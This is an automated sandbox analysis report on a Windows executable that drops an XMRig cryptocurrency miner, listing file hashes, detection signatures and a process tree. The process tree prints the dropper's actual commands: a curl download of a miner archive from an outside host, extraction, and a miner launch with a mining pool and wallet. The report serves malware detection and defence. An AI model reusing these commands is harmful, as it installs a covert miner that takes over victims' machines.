xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
1482s
max time network
1498s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
11/03/2024, 21:08

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General

Target

test - Copy (3).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral14/files/0x000100000002a7ee-21.dat	family_xmrig
behavioral14/files/0x000100000002a7ee-21.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Executes dropped EXE 1 IoCs

pid	Process
2008	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 1760	2320	test - Copy (3).exe	81
PID 2320 wrote to memory of 1760	2320	test - Copy (3).exe	81
PID 1760 wrote to memory of 3404	1760	cmd.exe	83
PID 1760 wrote to memory of 3404	1760	cmd.exe	83
PID 1760 wrote to memory of 5096	1760	cmd.exe	86
PID 1760 wrote to memory of 5096	1760	cmd.exe	86
PID 1760 wrote to memory of 2008	1760	cmd.exe	87
PID 1760 wrote to memory of 2008	1760	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\test - Copy (3).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (3).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\awNj2Rye.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:3404
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:5096
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\awNj2Rye.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
2.7MB

MD5
f82bcbe9c755bc1548a675bbcf94f939

SHA1
01fade21f103c3c6851d9edc52e2e65217615ef3

SHA256
240833062beece5bb7ed5b11973066002d3b04c27b0ac346ac9fd2c75817aecb

SHA512
5ba3de22649b786b1d86ca7b4ed8c7d6894eb902e8d3078503d1125d5fa19435db091195b14c6fbd85253f09bd43b8be51d0ef14e6500a5746bdee37ceace15f

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
1.4MB

MD5
ad8aa986de8bef8ea40c79f9bcf96ac2

SHA1
73dafa7b9d5483dbe6b81e9ed60bb19057adf6be

SHA256
0b69eda1ab5af570ad16001ae38136ed14f1f60e8675bca157bf34b55c94a348

SHA512
c243f04c28be63462cf2e1234fff8ac9e011392bccf8cfba1e5802273c40ba63fb526d64208d45ba9fa9fc8fce8fc5d9f5059c2b106eaff617341f33f894ea32

Download Submit
memory/2320-0-0x0000000000300000-0x0000000000308000-memory.dmp

Filesize
32KB

Download
memory/2320-3-0x00007FFDEF490000-0x00007FFDEFF52000-memory.dmp

Filesize
10.8MB

Download
memory/2320-7-0x00007FFDEF490000-0x00007FFDEFF52000-memory.dmp

Filesize
10.8MB

Download
memory/2320-23-0x00007FFDEF490000-0x00007FFDEFF52000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis